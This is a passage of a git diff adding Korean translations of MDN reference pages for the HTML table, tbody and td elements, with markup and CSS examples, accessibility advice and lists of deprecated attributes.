+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;Simple table with caption&lt;/p&gt;
+&lt;table&gt;
+  &lt;caption&gt;Awesome caption&lt;/caption&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Awesome data&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">table
+{
+border-collapse: collapse;
+border-spacing: 0px;
+}
+table, th, td
+{
+padding: 5px;
+border: 1px solid black;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('추가_예제', '100%', '700') }}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<h3 id="설명문">설명문</h3>
+
+<p>표의 목적에 대한 명확하고 상세한 설명을 포함하는 {{HTMLElement("caption")}} 요소를 제공하여 사용자가 표 콘텐츠를 확인할지, 넘어갈지 결정할 때 도움을 줄 수 있습니다.</p>
+
+<p>특히 스크린 리더 등 보조 기술 사용자와 낮은 시력의 사용자, 그리고 인지능력의 저하를 겪고 있는 사용자에게 도움이 됩니다.</p>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Tables/Advanced#Adding_a_caption_to_your_table_with_&lt;caption>">MDN Adding a caption to your table with &lt;caption&gt;</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/tables/caption-summary/">Caption &amp; Summary • Tables • W3C WAI Web Accessibility Tutorials</a></li>
+</ul>
+
+<h3 id="행과_열_범위_지정">행과 열 범위 지정</h3>
+
+<p>간단한 표의 경우 범위를 자동으로 유추할 수 있기 때문에, 헤더 요소의 {{htmlattrxref("scope", "th")}} 특성은 불필요합니다. 그러나 일부 보조 기술이 잘못된 범위를 유추하는 경우도 있기 때문에, 범위를 지정하는 것이 사용자 경험에 도움이 될 수도 있습니다. 복잡한 표에서는 범위를 명시해서 특정 헤더와 연관된 칸에 대한 정보를 제공할 수 있습니다.</p>
+
+<h4 id="예제_2">예제</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;caption&gt;Color names and values&lt;/caption&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;th scope="col"&gt;Name&lt;/th&gt;
+      &lt;th scope="col"&gt;HEX&lt;/th&gt;
+      &lt;th scope="col"&gt;HSLa&lt;/th&gt;
+      &lt;th scope="col"&gt;RGBa&lt;/th&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;Teal&lt;/th&gt;
+      &lt;td&gt;&lt;code&gt;#51F6F6&lt;/code&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;code&gt;hsla(180, 90%, 64%, 1)&lt;/code&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;code&gt;rgba(81, 246, 246, 1)&lt;/code&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;Goldenrod&lt;/th&gt;
+      &lt;td&gt;&lt;code&gt;#F6BC57&lt;/code&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;code&gt;hsla(38, 90%, 65%, 1)&lt;/code&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;code&gt;rgba(246, 188, 87, 1)&lt;/code&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<p>{{htmlelement("th")}} 요소에 <code>scope="col"</code>을 선언함으로써, 해당 칸이 열의 맨 위에 위치함을 설명할 수 있습니다. 마찬가지로, <code>scope="row"</code>를 추가하면 해당 칸이 행의 맨 앞에 위치함을 설명합니다.</p>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Tables/Advanced#Tables_for_visually_impaired_users">MDN Tables for visually impaired users</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/tables/two-headers/">Tables with two headers • Tables • W3C WAI Web Accessibility Tutorials</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/tables/irregular/">Tables with irregular headers • Tables • W3C WAI Web Accessibility Tutorials</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/H63.html">H63: Using the scope attribute to associate header cells and data cells in data tables | W3C Techniques for WCAG 2.0</a></li>
+</ul>
+
+<h3 id="복잡한_표">복잡한 표</h3>
+
+<p>너무나 복잡해서 헤더 칸을 확실히 가로 또는 세로로 연결할 수 없는 표의 경우, 스크린 리더와 같은 보조 기술이 분석할 때 어려움을 겪을 수 있습니다. 보통 {{htmlattrxref("colspan", "td")}}과 {htmlattrxref("rowspan", "td")}} 특성이 존재하는 경우 이 정도로 복잡한 표라고 할 수 있습니다.</p>
+
+<p>이상적으로 보자면, 테이블의 콘텐츠를 나타내는 다른 방법을 생각하는 것이 좋습니다. 이를테면 서로 관련된 더 작은 표로 나눠서 <code>colspan</code>, <code>rowspan</code> 특성의 필요를 제거하는 것입니다. 보조 기술 사용자의 테이블 콘텐츠 이해에 도움을 줄 뿐 아니라, 인지력 문제를 겪고 있어 기존 표의 레이아웃을 이해하는 것이 곤란한 사용자의 경험도 개선할 수 있습니다.</p>
+
+<p>표를 나눌 수 없는 경우 {{htmlattrxref("id")}}와 {{htmlattrxref("headers", "td")}} 특성을 통해 표의 각 칸을 연관된 헤더 칸과 직접 연결하세요.</p>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Tables/Advanced#Tables_for_visually_impaired_users">MDN Tables for visually impaired users</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/tables/multi-level/">Tables with multi-level headers • Tables • W3C WAI Web Accessibility Tutorials</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/H43.html">H43: Using id and headers attributes to associate data cells with header cells in data tables | Techniques for W3C WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','tables.html#the-table-element','table element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','tabular-data.html#the-table-element','table element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.table")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code>&lt;table&gt;</code> 요소 스타일링에 특히 도움이 되는 CSS 속성
+
+  <ul>
+   <li>표의 너비를 조절하는 {{cssxref("width")}}.</li>
+   <li>표의 테두리를 설정하는 {{cssxref("border")}}, {{cssxref("border-style")}}, {{cssxref("border-color")}}, {{cssxref("border-width")}}, {{cssxref("border-collapse")}}, {{cssxref("border-spacing")}}.</li>
+   <li>각 칸의 콘텐츠를 꾸밀 때 사용할 수 있는 {{cssxref("margin")}}, {{cssxref("padding")}}.</li>
+   <li>각 칸의 텍스트와 콘텐츠를 정렬할 때 사용하는 {{cssxref("text-align")}}, {{cssxref("vertical-align")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/element/tbody/index.html b/files/ko/web/html/element/tbody/index.html
new file mode 100644
index 0000000000..e7d89d1488
--- /dev/null
+++ b/files/ko/web/html/element/tbody/index.html
@@ -0,0 +1,320 @@
+---
+title: '<tbody>: 표 본문 요소'
+slug: Web/HTML/Element/tbody
+tags:
+  - Element
+  - HTML
+  - HTML tabular data
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/tbody
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML </strong><strong><code>&lt;tbody&gt;</code></strong> 요소는 표의 여러 행({{htmlelement("tr")}})을 묶어서 표 본문을 구성합니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/tbody.html","tabbed-taller")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p><code>&lt;tbody&gt;</code> 요소와 그 사촌인 {{HTMLElement("thead")}}, {{HTMLElement("tfoot")}} 요소는 화면과 프린터에 렌더링 할 때 뿐만 아니라 {{Glossary("accessibility", "접근성")}} 차원에서도 유용한 의미를 표의 행에 부여합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>0개 이상의 {{htmlelement("tr")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td><code>&lt;tbody&gt;</code> 요소는 부모 {{HTMLElement("table")}} 요소의 렌더링에 반드시 필요한 요소는 아닙니다. 그러나 <code>&lt;table&gt;</code> 요소의 자식 중 {{ HTMLElement("tr") }} 요소가 존재하면 사용할 수 없습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{ HTMLElement("table") }} 요소. {{ HTMLElement("caption") }}, {{HTMLElement("colgroup") }}, {{ HTMLElement("thead") }} 요소가 존재하는 경우, 그 뒤에 위치할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLTableSectionElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<div class="hidden">
+<h3 id="Deprecated_attributes">Deprecated attributes</h3>
+
+<dl>
+ <dt>{{ htmlattrdef("align") }} {{deprecated_inline}}</dt>
+ <dd>This enumerated attribute specifies how horizontal alignment of each cell content will be handled. Possible values are:
+ <ul>
+  <li><code>left</code>, aligning the content to the left of the cell</li>
+  <li><code>center</code>, centering the content in the cell</li>
+  <li><code>right</code>, aligning the content to the right of the cell</li>
+  <li><code>justify</code>, inserting spaces into the textual content so that the content is justified in the cell</li>
+  <li><code>char</code>, aligning the textual content on a special character with a minimal offset, defined by the {{ htmlattrxref("char", "tbody") }} and {{ htmlattrxref("charoff", "tbody") }} attributes.</li>
+ </ul>
+
+ <p>If this attribute is not set, the <code>left</code> value is assumed.</p>
+
+ <p>As this attribute is deprecated, use the CSS {{cssxref("text-align")}} property instead.</p>
+
+ <div class="note"><strong>Note: </strong>The equivalent <code>text-align</code> property for the <code>align="char"</code> is not implemented in any browsers yet. See the <a href="/en-US/docs/Web/CSS/text-align#Browser_compatibility"><code>text-align</code>'s browser compatibility section</a> for the <code>&lt;string&gt;</code> value.</div>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>The background color of the table. It is a <a href="/en-US/docs/Web/CSS/color_value#RGB_colors">6-digit hexadecimal RGB code</a>, prefixed by a '<code>#</code>'. One of the predefined <a href="/en-US/docs/Web/CSS/color_value#Color_keywords">color kewords</a> can also be used.</p>
+
+ <p>As this attribute is deprecated, use the CSS {{cssxref("background-color")}} property instead.</p>
+ </dd>
+ <dt>{{ htmlattrdef("char") }} {{deprecated_inline}}</dt>
+ <dd>
+ <p>This attribute is used to set the character to align the cells in a column on. Typical values for this include a period (<code>.</code>) when attempting to align numbers or monetary values. If {{htmlattrxref("align", "tbody")}} is not set to <code>char</code>, this attribute is ignored.</p>
+ </dd>
+ <dt>{{ htmlattrdef("charoff") }} {{deprecated_inline}}</dt>
+ <dd>This attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the <code>char</code> attribute.</dd>
+ <dt>{{ htmlattrdef("valign") }} {{deprecated_inline}}</dt>
+ <dd>This attribute specifies the vertical alignment of the text within each row of cells of the table header. Possible values for this attribute are:
+ <ul>
+  <li><code>baseline</code>, which will put the text as close to the bottom of the cell as it is possible, but align it on the <a class="external" href="https://en.wikipedia.org/wiki/Baseline_%28typography%29">baseline</a> of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as <code>bottom</code>.</li>
+  <li><code>bottom</code>, which will put the text as close to the bottom of the cell as it is possible;</li>
+  <li><code>middle</code>, which will center the text in the cell;</li>
+  <li>and <code>top</code>, which will put the text as close to the top of the cell as it is possible.</li>
+ </ul>
+
+ <p>As this attribute is deprecated, use the CSS {{cssxref("vertical-align")}} property instead.</p>
+ </dd>
+</dl>
+</div>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>표의 헤더 행을 나타내기 위해 {{HTMLElement("thead")}} 요소를 사용한 경우, <code>&lt;tbody&gt;</code> 요소는 반드시 그 뒤에 위치해야 합니다.</li>
+ <li><code>&lt;tbody&gt;</code>를 사용할 경우, {{HTMLElement("table")}}의 바로 밑 자식이면서 <code>&lt;tbody&gt;</code>에 속하지 않는 {{htmlelement("tr")}} 요소는 사용할 수 없습니다. 모든 비 헤더, 비 푸터 행은 반드시 <code>&lt;tbody&gt;</code>의 자식으로 존재해야 합니다.</li>
+ <li>문서 출력 시, <code>&lt;thead&gt;</code>와 {{htmlelement("tfoor")}} 요소는 모든 페이지에서 같거나 거의 같은 정보를 나타내고, <code>&lt;tbody&gt;</code> 요소는 서로 다른 정보를 나타냅니다.</li>
+ <li>표를 화면 맥락(브라우저 창 등)에서 표시할 때, 화면이 표 전체를 보여주기에 충분히 크지 않은 경우 {{Glossary("user agent", "사용자 에이전트")}}는 같은 부모의 <code>&lt;thead&gt;</code>, <code>&lt;tbody&gt;</code>, <code>&lt;tfoot&gt;</code>, {{HTMLElement("caption")}} 요소를 서로 따로 스크롤 가능토록 설정할 수 있습니다.</li>
+ <li>하나의 표에 다수의 <code>&lt;tbody&gt;</code>를 연속적으로 사용할 수 있으며, 이를 통해 커다란 표의 행을 구획으로 나눌 수 있습니다. 필요한 경우 각 구획에 서로 다른 서식을 적용할 수도 있습니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<p>다음은 <code>&lt;tbody&gt;</code> 요소 사용법을 보이는 예제입니다. 더 많은 예제는 {{ HTMLElement("table", "", "#예제") }}에서도 볼 수 있습니다.</p>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<p>이번 예제는 {{HTMLElement("thead")}}와 {{HTMLElement("tbody")}}를 사용해 학생 그룹의 정보를 나열하는 표를 생성합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<p>표의 HTML은 다음과 같습니다. 학생의 정보를 나타내는 표 본문 칸이 모두 하나의 <code>&lt;tbody&gt;</code> 요소에 속함에 주의하세요.</p>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th&gt;Student ID&lt;/th&gt;
+      &lt;th&gt;Name&lt;/th&gt;
+      &lt;th&gt;Major&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;3741255&lt;/td&gt;
+      &lt;td&gt;Jones, Martha&lt;/td&gt;
+      &lt;td&gt;Computer Science&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;3971244&lt;/td&gt;
+      &lt;td&gt;Nim, Victor&lt;/td&gt;
+      &lt;td&gt;Russian Literature&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;4100332&lt;/td&gt;
+      &lt;td&gt;Petrov, Alexandra&lt;/td&gt;
+      &lt;td&gt;Astrophysics&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<p>다음은 표에 적용할 CSS 스타일입니다.</p>
+
+<pre class="brush: css">table {
+  border: 2px solid #555;
+  border-collapse: collapse;
+  font: 16px "Lucida Grande", "Helvetica", "Arial", sans-serif;
+}</pre>
+
+<p>우선 표의 전반적인 스타일을 설정합니다.외부 테두리의 굵기, 스타일, 색을 설정하고, {{cssxref("border-collapse")}}를 이용해 각 칸의 테두리가 서로 분리되지 않고 공유하도록 지정합니다. {{cssxref("font")}}를 사용해 표의 기본 글씨체도 설정합니다.</p>
+
+<pre class="brush: css">th, td {
+  border: 1px solid #bbb;
+  padding: 2px 8px 0;
+  text-align: left;
+}</pre>
+
+<p>그 다음은 대부분의 칸에 적용할 스타일입니다. 1픽셀 두께의 밝은 회색 테두리를 추가하고 안쪽 여백을 조정하며, {{cssxref("text-align")}}을 사용해 모두 좌측 정렬로 설정합니다.</p>
+
+<pre class="brush: css">thead &gt; tr &gt; th {
+  background-color: #cce;
+  font-size: 18px;
+  border-bottom: 2px solid #999;
+}</pre>
+
+<p>마지막으로 {{HTMLElement("thead")}} 안에 위치하는 헤더 칸에 추가 스타일을 부여합니다. 보다 어두운 {{cssxref("background-color")}}, 더 큰 글씨 크기, 그리고 다른 테두리보다 두껍고 어두운 아래쪽 테두리를 적용합니다.</p>
+
+<h4 id="결과">결과</h4>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("기본_예제", 650, 150)}}</p>
+
+<h3 id="다중_본문">다중 본문</h3>
+
+<p>You can create multiple sections within a table by using multiple <code>&lt;tbody&gt;</code> elements. Each may potentially have its own header row or rows; however, <em>there can be only one {{HTMLElement("thead")}} per table!</em> Because of that, you need to use a {{HTMLElement("tr")}} filled with {{HTMLElement("th")}} elements to create headers within each <code>&lt;tbody&gt;</code>. Let's see how that's done.</p>
+
+<p>Let's take the previous example, add some more students to the list, and update the table so that instead of listing each student's major on every row, the students are grouped by major, with heading rows for each major.</p>
+
+<h4 id="Result">Result</h4>
+
+<p>First, the resulting table, so you know what we're building:</p>
+
+<p>{{EmbedLiveSample("다중_본문", 650, 250)}}</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<p>The revised HTML looks like this:</p>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th&gt;Student ID&lt;/th&gt;
+      &lt;th&gt;Name&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;th colspan="2"&gt;Computer Science&lt;/th&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;3741255&lt;/td&gt;
+      &lt;td&gt;Jones, Martha&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;4077830&lt;/td&gt;
+      &lt;td&gt;Pierce, Benjamin&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;5151701&lt;/td&gt;
+      &lt;td&gt;Kirk, James&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;th colspan="2"&gt;Russian Literature&lt;/th&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;3971244&lt;/td&gt;
+      &lt;td&gt;Nim, Victor&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;th colspan="2"&gt;Astrophysics&lt;/th&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;4100332&lt;/td&gt;
+      &lt;td&gt;Petrov, Alexandra&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;8892377&lt;/td&gt;
+      &lt;td&gt;Toyota, Hiroko&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<p>Notice that each major is placed in a separate <code>&lt;tbody&gt;</code> block, the first row of which contains a single {{HTMLElement("th")}} element with a {{htmlattrxref("colspan", "th")}} attribute that spans the entire width of the table. That heading lists the name of the major contained within the <code>&lt;tbody&gt;</code>.</p>
+
+<p>Then each remaining row in each major's <code>&lt;tbody&gt;</code> consists of two cells: the first for the student's ID and the second for their name.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css">table {
+  border: 2px solid #555;
+  border-collapse: collapse;
+  font: 16px "Lucida Grande", "Helvetica", "Arial", sans-serif;
+}
+
+th, td {
+  border: 1px solid #bbb;
+  padding: 2px 8px 0;
+  text-align: left;
+}
+
+thead &gt; tr &gt; th {
+  background-color: #cce;
+  font-size: 18px;
+  border-bottom: 2px solid #999;
+}</pre>
+</div>
+
+<p>Most of the CSS is unchanged. We do, however, add a slightly more subtle style for header cells contained directly within a <code>&lt;tbody&gt;</code> (as opposed to those which reside in a {{HTMLElement("thead")}}). This is used for the headers indicating each table section's corresponding major.</p>
+
+<pre class="brush: css">tbody &gt; tr &gt; th {
+  background-color: #dde;
+  border-bottom: 1.5px solid #bbb;
+  font-weight: normal;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','tables.html#the-tbody-element','tbody element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','tabular-data.html#the-tbody-element','tbody element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.tbody")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS properties and <a href="/en-US/docs/Web/CSS/Pseudo-classes">pseudo-classes</a> that may be specially useful to style the <code>&lt;tbody&gt;</code> element:
+
+  <ul>
+   <li>the {{ cssxref(":nth-child") }} pseudo-class to set the alignment on the cells of the column;</li>
+   <li>the {{ cssxref("text-align") }} property to align all cells content on the same character, like '.'.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/element/td/index.html b/files/ko/web/html/element/td/index.html
new file mode 100644
index 0000000000..1f6c363834
--- /dev/null
+++ b/files/ko/web/html/element/td/index.html
@@ -0,0 +1,213 @@
+---
+title: <td>
+slug: Web/HTML/Element/td
+tags:
+  - Element
+  - HTML
+  - Reference
+translation_of: Web/HTML/Element/td
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><em>Table cell</em> <a href="/en-US/docs/Web/HTML">HTML</a> 요소 (<strong><code>&lt;td&gt;</code></strong>) 는 데이터를 포함하는 표의 셀을 정의합니다. 이것은 <em>표 모델</em>에 참여합니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/td.html","tabbed-taller")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th><a href="/en-US/docs/Web/HTML/Content_categories">컨텐츠 범주</a></th>
+   <td>없음.</td>
+  </tr>
+  <tr>
+   <th>허용된 컨텐츠</th>
+   <td>플로우 컨텐츠</td>
+  </tr>
+  <tr>
+   <th>태그 생략</th>
+   <td>시작 태그는 있어야 합니다.<br>
+    종료 태그는 요소 바로 뒤에 {{HTMLElement("th")}}이나 {{HTMLElement("td")}} 요소가 뒤따르거나, 부모 요소에 더 이상 다른 데이터가 없을 경우 생략 가능합니다.</td>
+  </tr>
+  <tr>
+   <th>허용된 부모 요소</th>
+   <td>{{HTMLElement("tr")}} 요소</td>
+  </tr>
+  <tr>
+   <th>표준 문서</th>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/tabular-data.html#the-td-element" rel="external">HTML5, section 4.9.9</a> (<a href="http://www.w3.org/TR/REC-html40/struct/tables.html#h-11.2.6">HTML4.01, section 11.2.6</a>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
+<p>이 요소는 <a href="/en-US/docs/Web/HTML/Global_attributes">전역 속성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("abbr")}} {{obsoleteGeneric('inline','HTML5')}}</dt>
+ <dd>This attribute contains a short abbreviated description of the content of the cell. Some user-agents, such as speech readers, may present this description before the content itself.
+ <div class="note"><strong>참고: </strong>이 속성은 최신 표준에서 폐기되었기 떄문에 사용해서는 안됩니다: instead either consider starting the cell content by an independent abbreviated content itself or use the abbreviated content as the cell content and use the long content as the description of the cell by putting it in the <strong>title</strong> attribute.</div>
+ </dd>
+ <dt>{{htmlattrdef("align")}} {{Deprecated_inline}} in {{HTMLVersionInline(4.01)}}, {{obsolete_inline}} in {{HTMLVersionInline(5)}}</dt>
+ <dd>This enumerated attribute specifies how horizontal alignment of each cell content will be handled. Possible values are:
+ <ul>
+  <li><code>left</code>, aligning the content to the left of the cell</li>
+  <li><code>center</code>, centering the content in the cell</li>
+  <li><code>right</code>, aligning the content to the right of the cell</li>
+  <li><code>justify</code>, inserting spaces into the textual content so that the content is justified in the cell</li>
+  <li><code>char</code>, aligning the textual content on a special character with a minimal offset, defined by the {{htmlattrxref("char", "td")}} and {{htmlattrxref("charoff", "td")}} attributes {{unimplemented_inline(2212)}}.</li>
+ </ul>
+
+ <p>If this attribute is not set, the <code>left</code> value is assumed.</p>
+
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (not supported) in the latest standard.
+
+ <ul>
+  <li>To achieve the same effect as the <code>left</code>, <code>center</code>, <code>right</code>, or <code>justify</code> values, use the CSS {{cssxref("text-align")}} property on it.</li>
+  <li>To achieve the same effect as the <code>char</code> value, in CSS3, you can use the value of the {{htmlattrxref("char", "td")}} as the value of the {{cssxref("text-align")}} property {{unimplemented_inline}}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("axis")}} {{obsolete_inline}} in {{HTMLVersionInline(5)}}</dt>
+ <dd>This attribute contains a list of space-separated strings. Each string is the ID of a group of cells that this header applies to.
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete in the latest standard: instead use the {{htmlattrxref("scope", "td")}} attribute.</div>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
+ <dd>This attribute defines the background color of each cell of the column. It is one of the 6-digit hexadecimal codes as defined in <a href="http://www.w3.org/Graphics/Color/sRGB">sRGB</a>, prefixed by a '#'. One of the sixteen predefined color strings may be used:
+ <table style="width: 80%;">
+  <tbody>
+   <tr>
+    <td style="background-color: black; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>black</code> = "#000000"</td>
+    <td style="background-color: green; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>green</code> = "#008000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: silver; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>silver</code> = "#C0C0C0"</td>
+    <td style="background-color: lime; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>lime</code> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: gray; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>gray</code> = "#808080"</td>
+    <td style="background-color: olive; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>olive</code> = "#808000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: white; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>white</code> = "#FFFFFF"</td>
+    <td style="background-color: yellow; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>yellow</code> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: maroon; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>maroon</code> = "#800000"</td>
+    <td style="background-color: navy; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>navy</code> = "#000080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: red; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>red</code> = "#FF0000"</td>
+    <td style="background-color: blue; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>blue</code> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td style="background-color: purple; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>purple</code> = "#800080"</td>
+    <td style="background-color: teal; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>teal</code> = "#008080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: fuchsia; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>fuchsia</code> = "#FF00FF"</td>
+    <td style="background-color: aqua; width: 24px; height: 24px; border: 1px solid black;"> </td>
+    <td><code>aqua</code> = "#00FFFF"</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Usage note:</strong> Do not use this attribute, as it is non-standard and only implemented in some versions of Microsoft Internet Explorer: the {{HTMLElement("td")}} element should be styled using <a href="/en-US/docs/CSS">CSS</a>. To give a similar effect to the <strong>bgcolor</strong> attribute, use the <a href="/en-US/docs/Web/CSS">CSS</a> property {{cssxref("background-color")}} instead.</div>
+ </dd>
+</dl>
+
+<dl>
